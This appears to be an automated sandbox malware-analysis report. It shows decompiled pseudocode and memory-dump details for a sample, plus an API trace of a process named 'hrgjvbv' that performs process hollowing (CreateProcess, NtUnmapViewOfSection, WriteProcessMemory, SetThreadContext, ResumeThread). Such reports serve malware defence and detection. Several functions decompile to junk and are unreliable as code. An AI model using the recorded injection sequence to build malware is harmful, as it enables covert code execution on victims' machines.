Function 00401813, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00401813(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t8;
				void* _t11;
				void* _t13;
				void* _t16;
				intOrPtr* _t17;
				void* _t19;
				void* _t20;
				void* _t21;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				_push(0x184c);
				_t8 =  *_t23;
				L0040113B(_t8, _t16, 0x5c, _t21, _t22, __eflags);
				_t17 = _a4;
				Sleep(0x1388);
				_t11 = L0040138D(_t20, _t25, _t17, _a8, _a12,  &_v8); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, _t20, _t21, _t22, _t26, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t19 = 0x5c;
				return L0040113B(_t13, _t17, _t19, _t21, _t22, _t26);
			}

0x00401813
0x00401822
0x00401827
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 00000001.00000002.725610968.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 89745b0bfaaf1c7b55dfe8fa037d4d7c0223a41cfa17f4c26d190fbbe19b2ead
Instruction ID: 7d9be0058e33673f170ed7bdf9e45501506609fca6745517c781ff617e647718
Opcode Fuzzy Hash: 89745b0bfaaf1c7b55dfe8fa037d4d7c0223a41cfa17f4c26d190fbbe19b2ead
Instruction Fuzzy Hash: 9A014F77608205FBEB007AA59C41EBA362C9B04754F24C437BA03B80F1DA7C9712A76F

Uniqueness

Uniqueness Score: -1.00%

Function 00401830, Relevance: 3.0, APIs: 2, Instructions: 46
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00401830(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t20;
				void* _t26;
				intOrPtr* _t28;

				_t31 = __eflags;
				_t24 = __esi;
				_t22 = __edi;
				_t21 = __edx;
				_push(__edx);
				_push(0x184c);
				_t8 =  *_t28;
				L0040113B(_t8, __ebx, 0x5c, __edi, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t26 + 8));
				Sleep(0x1388);
				_t11 = L0040138D(_t21, _t31, _t17,  *((intOrPtr*)(_t26 + 0xc)),  *((intOrPtr*)(_t26 + 0x10)), _t26 - 4); // executed
				_t32 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, _t21, _t22, __esi, _t32, _t17, _t11,  *((intOrPtr*)(_t26 - 4)),  *((intOrPtr*)(_t26 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t20 = 0x5c;
				return L0040113B(_t13, _t17, _t20, _t22, _t24, _t32);
			}

0x00401830
0x00401830
0x00401830
0x00401830
0x00401830
0x00401822
0x00401827
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 00000001.00000002.725610968.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: f0b3e7d236e0b2aebba72a48561d88988893c2cfd0a9863272573b7202c77ad1
Instruction ID: deb966eb77b9a567301be81d0aa6add722e5d663e7a56bf983217a5254dc7aad
Opcode Fuzzy Hash: f0b3e7d236e0b2aebba72a48561d88988893c2cfd0a9863272573b7202c77ad1
Instruction Fuzzy Hash: D9F0E677608205EBEB007A959C41EBA36289B04755F34C437BA13B90F1DA7D9712A72F

Uniqueness

Uniqueness Score: -1.00%

Function 00401833, Relevance: 3.0, APIs: 2, Instructions: 41
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401833(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __ecx;
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t22;
				void* _t27;

				_t30 = __eflags;
				_t25 = __esi;
				_t23 = __edi;
				L0040113B(_t8, __ebx, 0x5c, __edi, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t11 = L0040138D(_t22, _t30, _t17,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, _t22, _t23, __esi, _t31, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t21 = 0x5c;
				return L0040113B(_t13, _t17, _t21, _t23, _t25, _t31);
			}

0x00401833
0x00401833
0x00401833
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 00000001.00000002.725610968.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 3be197aa96b37fb01e35ccc665f06a57c5b22eeab7c7f1fa4e7c4c0b74a31191
Instruction ID: 618970b1dbb32a4db62a2ca4bba0e2ab9b1e6011c78eec4eed3c6938ee6c48e5
Opcode Fuzzy Hash: 3be197aa96b37fb01e35ccc665f06a57c5b22eeab7c7f1fa4e7c4c0b74a31191
Instruction Fuzzy Hash: DFF01277604205FBEB047AE19C41EBA36289B04755F24C537BA13B80F1DA3C8712A72F

Uniqueness

Uniqueness Score: -1.00%

Function 00401836, Relevance: 3.0, APIs: 2, Instructions: 41
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00401836(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t27;

				_t30 = __eflags;
				_t25 = __esi;
				_t23 = __edi - 1;
				asm("invalid");
				asm("int 0x8e");
				L0040113B(_t8, __ebx, 0x5c, _t23, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t11 = L0040138D(_t21, _t30, _t17,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, _t21, _t23, __esi, _t31, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t20 = 0x5c;
				return L0040113B(_t13, _t17, _t20, _t23, _t25, _t31);
			}

0x00401836
0x00401836
0x00401836
0x00401837
0x00401839
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 00000001.00000002.725610968.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 6270efecb34b7a24ecfb20c25f7994d7e548ab66cc763392a0d1480e5281e59a
Instruction ID: a9217997abf11aa28aa6879baaed046148431452325da12b2764b37c26675c88
Opcode Fuzzy Hash: 6270efecb34b7a24ecfb20c25f7994d7e548ab66cc763392a0d1480e5281e59a
Instruction Fuzzy Hash: 17F0FF77604205FBEB01AAA19C41A6A36289F05355F248477BA12B90F1DA389652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401842, Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401842(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __ecx;
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t27;

				_t30 = __eflags;
				_t25 = __esi;
				_t23 = __edi;
				L0040113B(_t8, __ebx, 0x5c, __edi, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t11 = L0040138D(0xeb, _t30, _t17,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, 0xeb, _t23, __esi, _t31, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t21 = 0x5c;
				return L0040113B(_t13, _t17, _t21, _t23, _t25, _t31);
			}

0x00401842
0x00401842
0x00401842
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 00000001.00000002.725610968.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: b4b0a9984882ff5f2b6faabf12f6e8ec5eae452e92f205c2972abf1b7a202191
Instruction ID: 04e1208274e68be980b74980f77298c45205cb64358d3d7bc66da16523479b8c
Opcode Fuzzy Hash: b4b0a9984882ff5f2b6faabf12f6e8ec5eae452e92f205c2972abf1b7a202191
Instruction Fuzzy Hash: E5F03677604205FAEF007FE19C41EAA3728DF08759F248537BA12B80F1D5388612A72E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040202C, Relevance: .1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E0040202C(char __eax, signed int __edi, signed int __esi, void* __eflags) {
				char _t23;
				intOrPtr _t31;
				signed char _t38;
				signed char _t41;
				signed int _t42;
				signed int _t44;
				signed char _t46;
				signed char _t51;
				signed char _t54;
				signed char _t62;
				void* _t69;
				signed int _t80;

				_t44 = __esi;
				_t42 = __edi;
				_t23 = __eax;
				_t32 = 0x14;
				asm("sbb eax, ebp");
				_t38 = _t51;
				if(__eflags < 0) {
					L1:
					asm("sbb dh, [ebx+0x4c4cecdf]");
					asm("iretd");
					 *((char*)(_t38 + _t38 * 8 - 0x74)) = _t23;
					_t51 = _t46;
					asm("invalid");
					_t44 = _t44 + 1;
					asm("adc ecx, [ebx+0x4c4cb009]");
					L3:
					 *(_t23 + 0x4c4c4c4c) =  *(_t23 + 0x4c4c4c4c) | _t44;
					asm("cmpsd");
					_t38 = _t38 + 1;
					asm("iretd");
					_t46 =  *(_t42 - 0x6f);
					asm("adc ecx, [edi+0x73]");
					asm("movsd");
					asm("pushfd");
					L5:
					asm("rcr dword [ecx], 0xb4");
					_t42 = _t42 + 1;
					asm("enter 0x4c4c, 0x4c");
					asm("int 0x9");
					_t54 = ds;
					_t51 = _t54;
					_t32 = 0x39;
					_t23 = 0xb7;
					_t69 = 0xb7;
					_pop(ds);
				}
				if(_t69 == 0) {
					goto L3;
				}
				 *(_t23 + 0x1eb419c1) =  *(_t23 + 0x1eb419c1) | _t42;
				while(1) {
					L8:
					asm("sbb [esi+ebx-0x4c4bc64d], esi");
					asm("enter 0x4c4c, 0x4c");
					_t51 = _t46;
					_pop(_t46);
					asm("invalid");
					if( *((intOrPtr*)(_t23 - 0x204cb8da)) >= _t42) {
						goto L5;
					}
					 *(_t23 - 0x45368439) =  *(_t23 - 0x45368439) ^ _t42;
					_t38 = _t38 ^  *(_t23 - 0x37);
					_push(_t23);
					if(_t38 >= 0) {
						goto L1;
					}
					_t41 = 0xbc16138 +  *((intOrPtr*)(_t44 + 0x4d));
					if((_t23 - _t32 & _t38) != 0) {
						_pop(ds);
						asm("movsb");
						_t41 = _t41 ^  *(_t42 - 0x73364c4d);
						L12:
						asm("invalid");
						while(1) {
							_t38 =  *_t38;
							asm("cmpsd");
							asm("int 0x8b");
							_push(0x4c);
							_t46 = _t46 + 2 - 1;
							_t62 = _t51 - 0xfffffffffffffffd;
							_t23 = 0x4c +  *((intOrPtr*)(_t42 - 0x47c64c7d));
							_t32 = 0x1f;
							if(_t23 < 0) {
								goto L8;
							}
							_push(_t41);
							_t51 = _t62;
							asm("adc al, 0xa7");
							_t38 = _t38 - 1;
							if(_t38 == 0) {
								continue;
							} else {
								asm("cmpsd");
								_t46 = _t46 - 1;
								asm("lds esp, [ecx+ebp*2]");
								_t44 = _t44 - 1;
								_t80 = _t44;
								_t51 = _t51;
								asm("adc eax, 0xa95949a7");
								asm("cmpsd");
							}
							goto L16;
						}
						continue;
					}
					L16:
					if(_t80 >= 0) {
						goto L12;
					}
					_t31 =  *((intOrPtr*)(_t46 - 4));
					return _t31;
				}
				goto L5;
			}

0x0040202c
0x0040202c
0x0040202c
0x0040202e
0x00402030
0x00402032
0x00402034
0x00402036
0x00402039
0x00402040
0x00402041
0x00402043
0x00402044
0x00402046
0x00402047
0x00402049
0x00402049
0x0040204f
0x00402050
0x00402051
0x00402052
0x00402056
0x00402059
0x0040205a
0x00402064
0x00402064
0x0040206c
0x00402070
0x00402074
0x00402078
0x0040207a
0x0040207b
0x0040207f
0x0040207f
0x00402081
0x00402081
0x00402082
0x00000000
0x00000000
0x00402084
0x00402087
0x00402087
0x00402087
0x00402094
0x00402098
0x00402098
0x00402099
0x0040209b
0x00000000
0x00000000
0x0040209d
0x004020a6
0x004020ae
0x004020af
0x00000000
0x00000000
0x004020b3
0x004020b8
0x004020bd
0x004020be
0x004020bf
0x004020c4
0x004020c4
0x004020c6
0x004020c7
0x004020ce
0x004020d0
0x004020d2
0x004020d3
0x004020d5
0x004020d6
0x004020dc
0x004020de
0x00000000
0x00000000
0x004020e8
0x004020ea
0x004020eb
0x004020ed
0x004020ee
0x00000000
0x004020f0
0x004020f0
0x004020f6
0x004020f7
0x004020fa
0x004020fa
0x004020fc
0x004020fd
0x00402102
0x00402103
0x00000000
0x004020ee
0x00000000
0x004020c6
0x00402106
0x00402106
0x00000000
0x00000000
0x0040210a
0x00402111
0x00402111
0x00000000

Memory Dump Source

Source File: 00000001.00000002.725610968.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbabc42fb16564f7cbcb1c556b6a87cc50b5c42c687b1a9ef82ddbbf6acab553
Instruction ID: a8a887d8135cfffa22a9d8b74fa84127aed7572815cebf71017f25ce6cebea50
Opcode Fuzzy Hash: fbabc42fb16564f7cbcb1c556b6a87cc50b5c42c687b1a9ef82ddbbf6acab553
Instruction Fuzzy Hash: 2921E0B9A12A44CFCB28CB649B461E1B7A0FE6230075551DFC1529B7B1CA618883CFD7

Uniqueness

Uniqueness Score: -1.00%

Function 00402052, Relevance: .1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00402052(char __eax, signed char __ecx, signed int __edi, signed int __esi) {
				char _t23;
				intOrPtr _t31;
				signed char _t38;
				signed char _t40;
				signed int _t41;
				signed int _t43;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t53;
				intOrPtr _t56;
				intOrPtr _t62;
				signed int _t79;

				L0:
				while(1) {
					L0:
					_t43 = __esi;
					_t41 = __edi;
					_t38 = __ecx;
					_t23 = __eax;
					_t45 =  *((intOrPtr*)(__edi - 0x6f));
					asm("adc ecx, [edi+0x73]");
					asm("movsd");
					asm("pushfd");
					while(1) {
						L4:
						asm("rcr dword [ecx], 0xb4");
						_t41 = _t41 + 1;
						asm("enter 0x4c4c, 0x4c");
						asm("int 0x9");
						_t56 = ds;
						_t53 = _t56;
						_t34 = 0x39;
						_t23 = 0xb7;
						_pop(ds);
						L5:
						if(0xb7 == 0) {
							L3:
							 *(_t23 + 0x4c4c4c4c) =  *(_t23 + 0x4c4c4c4c) | _t43;
							asm("cmpsd");
							_t38 = _t38 + 1;
							asm("iretd");
							goto L0;
						}
						L6:
						 *0x1EB41A78 =  *0x1EB41A78 | _t41;
						while(1) {
							L7:
							asm("sbb [esi+ebx-0x4c4bc64d], esi");
							asm("enter 0x4c4c, 0x4c");
							_t53 = _t46;
							_pop(_t46);
							asm("invalid");
							if( *((intOrPtr*)(_t23 - 0x204cb8da)) >= _t41) {
								break;
							}
							L8:
							 *(_t23 - 0x45368439) =  *(_t23 - 0x45368439) ^ _t41;
							_t38 = _t38 ^  *(_t23 - 0x37);
							_push(_t23);
							if(_t38 >= 0) {
								L1:
								asm("sbb dh, [ebx+0x4c4cecdf]");
								asm("iretd");
								 *((char*)(_t38 + _t38 * 8 - 0x74)) = _t23;
								L2:
								_t53 = _t45;
								_pop(_t46);
								asm("invalid");
								_t43 = _t43 + 1;
								asm("adc ecx, [ebx+0x4c4cb009]");
								goto L3;
							}
							L9:
							_t40 = 0xbc16138 +  *((intOrPtr*)(_t43 + 0x4d));
							if((_t23 - _t34 & _t38) != 0) {
								L10:
								_pop(ds);
								asm("movsb");
								_t40 = _t40 ^  *(_t41 - 0x73364c4d);
								L11:
								asm("invalid");
								while(1) {
									L12:
									_t38 =  *_t38;
									asm("cmpsd");
									asm("int 0x8b");
									_push(0x4c);
									_t46 = _t46 + 2 - 1;
									_t62 = _t53 - 0xfffffffffffffffd;
									_t23 = 0x4c +  *((intOrPtr*)(_t41 - 0x47c64c7d));
									_t34 = 0x1f;
									if(_t23 < 0) {
										goto L7;
									}
									L13:
									_push(_t40);
									_t53 = _t62;
									asm("adc al, 0xa7");
									_t38 = _t38 - 1;
									if(_t38 == 0) {
										continue;
									} else {
										L14:
										asm("cmpsd");
										_t46 = _t46 - 1;
										asm("lds esp, [ecx+ebp*2]");
										_t43 = _t43 - 1;
										_t79 = _t43;
										_t53 = _t53;
										asm("adc eax, 0xa95949a7");
										asm("cmpsd");
									}
									goto L15;
								}
								continue;
							}
							L15:
							if(_t79 >= 0) {
								goto L11;
							}
							L16:
							_t31 =  *((intOrPtr*)(_t46 - 4));
							L17:
							return _t31;
							L18:
						}
						L4:
						asm("rcr dword [ecx], 0xb4");
						_t41 = _t41 + 1;
						asm("enter 0x4c4c, 0x4c");
						asm("int 0x9");
						_t56 = ds;
						_t53 = _t56;
						_t34 = 0x39;
						_t23 = 0xb7;
						_pop(ds);
						goto L5;
					}
				}
			}

0x00402052
0x00402052
0x00402052
0x00402052
0x00402052
0x00402052
0x00402052
0x00402052
0x00402056
0x00402059
0x0040205a
0x00402064
0x00402064
0x00402064
0x0040206c
0x00402070
0x00402074
0x00402078
0x0040207a
0x0040207b
0x0040207f
0x00402081
0x00402082
0x00402082
0x00402049
0x00402049
0x0040204f
0x00402050
0x00402051
0x00000000
0x00402051
0x00402084
0x00402084
0x00402087
0x00402087
0x00402087
0x00402094
0x00402098
0x00402098
0x00402099
0x0040209b
0x00000000
0x00000000
0x0040209d
0x0040209d
0x004020a6
0x004020ae
0x004020af
0x00402036
0x00402039
0x00402040
0x00402041
0x00402042
0x00402043
0x00402043
0x00402044
0x00402046
0x00402047
0x00000000
0x00402047
0x004020b1
0x004020b3
0x004020b8
0x004020ba
0x004020bd
0x004020be
0x004020bf
0x004020c4
0x004020c4
0x004020c6
0x004020c6
0x004020c7
0x004020ce
0x004020d0
0x004020d2
0x004020d3
0x004020d5
0x004020d6
0x004020dc
0x004020de
0x00000000
0x00000000
0x004020e0
0x004020e8
0x004020ea
0x004020eb
0x004020ed
0x004020ee
0x00000000
0x004020f0
0x004020f0
0x004020f0
0x004020f6
0x004020f7
0x004020fa
0x004020fa
0x004020fc
0x004020fd
0x00402102
0x00402103
0x00000000
0x004020ee
0x00000000
0x004020c6
0x00402106
0x00402106
0x00000000
0x00000000
0x00402108
0x0040210a
0x0040210d
0x00402111
0x00000000
0x00402111
0x00402064
0x00402064
0x0040206c
0x00402070
0x00402074
0x00402078
0x0040207a
0x0040207b
0x0040207f
0x00402081
0x00000000
0x00402081
0x00402064

Memory Dump Source

Source File: 00000001.00000002.725610968.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582d09d55ad77c1e7aeb8d300c24ad101f826c757ddfc10a404fb46e83914ed8
Instruction ID: c83445de43d01cce4181a3408f6f95faafacb7355a4cde8baead310d89bed673
Opcode Fuzzy Hash: 582d09d55ad77c1e7aeb8d300c24ad101f826c757ddfc10a404fb46e83914ed8
Instruction Fuzzy Hash: A221CCB8A02A04CFC625CB649A891D2F7A0FE62304B18519BC1525BB71D2754883CFE7

Uniqueness

Uniqueness Score: -1.00%

Function 00402403, Relevance: .0, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E00402403(void* __ecx, void* __edx, signed int __edi, void* __fp0) {
				signed char _t42;
				signed int _t44;
				signed int _t65;
				signed int _t70;
				void* _t72;
				signed int _t74;

				L0:
				while(1) {
					L0:
					_t42 =  *0xcf0a384c;
					 *(_t42 - 0x5fc64cb2) =  *(_t42 - 0x5fc64cb2) | _t74;
					_pop(ds);
					if((_t42 | 0x000000b3) != 0) {
						break;
					}
					L1:
					_t44 =  *0xc73f384c;
					 *(_t44 - 0x3aa7f339) =  *(_t44 - 0x3aa7f339) | __edi;
					 *(_t70 + __edi * 2 - 0x4bce884d) =  *(_t70 + __edi * 2 - 0x4bce884d) | _t65;
					asm("aas");
					asm("das");
					asm("rcr dword [ecx], 0xa0");
					_push(ds);
					asm("sbb esi, [ebx-0x204c57c7]");
					asm("iretd");
					 *(_t44 - 0x30f5c7b4) =  *(_t44 - 0x30f5c7b4) ^ _t74 - 0xffffffffffffffff;
				}
				L2:
				 *(__ecx + _t44 * 8 - 0x4ce15fe7) =  *(__ecx + _t44 * 8 - 0x4ce15fe7) | __edi;
				asm("sbb esi, [ebx-0x204c57c7]");
				asm("invalid");
				asm("iretd");
				 *(_t44 - 0x38a2c7b4) =  *(_t44 - 0x38a2c7b4) ^ _t70;
				 *(__ecx + 0x1f1c5c0c +  *0xc75d384c * 8) =  *(__ecx + 0x1f1c5c0c +  *0xc75d384c * 8) | __edi;
				asm("movsb");
				_pop(_t72);
				asm("invalid");
				asm("es movsd");
				asm("cmpsd");
				asm("adc dh, bh");
				asm("pushad");
				asm("frstor [ebx+ebx*2]");
				asm("outsb");
				asm("adc al, 0xa7");
				asm("sbb ebx, [edx]");
				asm("cmpsd");
				asm("in al, dx");
				 *0xFFFFFFFFA45EA814 = 0xa74888cf;
				asm("cmpsb");
				asm("int3");
				asm("cmpsd");
				 *0xa0d5a4bf = 0x84;
				return  *((intOrPtr*)(_t72 - 4));
			}

0x00402403
0x00402403
0x00402403
0x00402403
0x00402408
0x00402411
0x00402412
0x00000000
0x00000000
0x004023d9
0x004023d9
0x004023de
0x004023e4
0x004023eb
0x004023ec
0x004023ed
0x004023f0
0x004023f7
0x00402401
0x00402402
0x00402402
0x00402414
0x00402414
0x00402422
0x0040242d
0x00402430
0x00402431
0x00402437
0x0040243e
0x00402443
0x00402444
0x00402464
0x00402473
0x00402475
0x00402477
0x00402478
0x0040247b
0x0040247e
0x00402481
0x00402483
0x0040248a
0x00402490
0x00402498
0x00402499
0x0040249a
0x0040249b
0x004024a9

Memory Dump Source

Source File: 00000001.00000002.725610968.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb2763b50332117d4cd38ebd3a92fb9766fda1add63ad4ca90e9e0cadc5d9c26
Instruction ID: 0f27eaa69be10ba5d10042c069f8084f082d4262394f61c98c3ff60c1b4368df
Opcode Fuzzy Hash: fb2763b50332117d4cd38ebd3a92fb9766fda1add63ad4ca90e9e0cadc5d9c26
Instruction Fuzzy Hash: 61F0E932905640DFC705CF10F50748477B4FE4170172255DAC4D256971CB3691E3CF86

Uniqueness

Uniqueness Score: -1.00%

Function 004023D9, Relevance: .0, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E004023D9(void* __ecx, void* __edx, signed int __edi, signed int __esi, void* __fp0) {
				intOrPtr _t42;
				signed char _t43;
				signed int _t44;
				signed int _t70;
				void* _t72;
				void* _t74;
				signed int _t77;

				do {
					_t42 =  *0xc73f384c;
					 *(_t42 - 0x3aa7f339) =  *(_t42 - 0x3aa7f339) | __edi;
					 *(_t70 + __edi * 2 - 0x4bce884d) =  *(_t70 + __edi * 2 - 0x4bce884d) | __esi;
					asm("aas");
					asm("das");
					asm("rcr dword [ecx], 0xa0");
					_t77 = _t74 - 0xffffffffffffffff;
					asm("sbb esi, [ebx-0x204c57c7]");
					asm("iretd");
					 *(_t42 - 0x30f5c7b4) =  *(_t42 - 0x30f5c7b4) ^ _t77;
					_t43 =  *0xcf0a384c;
					 *(_t43 - 0x5fc64cb2) =  *(_t43 - 0x5fc64cb2) | _t77;
					_t44 = _t43 | 0x000000b3;
					ds = ds;
				} while (_t44 == 0);
				 *(__ecx + _t44 * 8 - 0x4ce15fe7) =  *(__ecx + _t44 * 8 - 0x4ce15fe7) | __edi;
				asm("sbb esi, [ebx-0x204c57c7]");
				asm("invalid");
				asm("iretd");
				 *(_t44 - 0x38a2c7b4) =  *(_t44 - 0x38a2c7b4) ^ _t70;
				 *(__ecx + 0x1f1c5c0c +  *0xc75d384c * 8) =  *(__ecx + 0x1f1c5c0c +  *0xc75d384c * 8) | __edi;
				asm("movsb");
				_pop(_t72);
				asm("invalid");
				asm("es movsd");
				asm("cmpsd");
				asm("adc dh, bh");
				asm("pushad");
				asm("frstor [ebx+ebx*2]");
				asm("outsb");
				asm("adc al, 0xa7");
				asm("sbb ebx, [edx]");
				asm("cmpsd");
				asm("in al, dx");
				 *0xFFFFFFFFA45EA814 = 0xa74888cf;
				asm("cmpsb");
				asm("int3");
				asm("cmpsd");
				 *0xa0d5a4bf = 0x84;
				return  *((intOrPtr*)(_t72 - 4));
			}

0x004023d9
0x004023d9
0x004023de
0x004023e4
0x004023eb
0x004023ec
0x004023ed
0x004023f5
0x004023f7
0x00402401
0x00402402
0x00402403
0x00402408
0x0040240e
0x00402411
0x00402411
0x00402414
0x00402422
0x0040242d
0x00402430
0x00402431
0x00402437
0x0040243e
0x00402443
0x00402444
0x00402464
0x00402473
0x00402475
0x00402477
0x00402478
0x0040247b
0x0040247e
0x00402481
0x00402483
0x0040248a
0x00402490
0x00402498
0x00402499
0x0040249a
0x0040249b
0x004024a9

Memory Dump Source

Source File: 00000001.00000002.725610968.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ee4aad523619d2523866d80873a575c389a27590689aa6c2f41782ac6c4a352
Instruction ID: df714e191690ec59b59deb9f1aa5729172ce7cf2683613fe6c18e08e4d69e8fc
Opcode Fuzzy Hash: 6ee4aad523619d2523866d80873a575c389a27590689aa6c2f41782ac6c4a352
Instruction Fuzzy Hash: 90D0A732E05A51DFC7059F20FC430887BB5EA40B00701838AC8E1568B1C73561A2CFC6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: hrgjvbv PID: 1572 Parent PID: 968 hrgjvbvCOMMON

Executed Functions

Function 02BD0110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02BD0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 02BD016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02BD0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02BD0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02BD0283
GetThreadContext.KERNELBASE(00000000,?), ref: 02BD029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02BD02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 02BD02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02BD0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 02BD032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02BD0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02BD03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 02BD03E1
ResumeThread.KERNELBASE(00000000), ref: 02BD03ED
ExitProcess.KERNEL32(00000000), ref: 02BD0412

Memory Dump Source

Source File: 0000000A.00000002.771744583.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
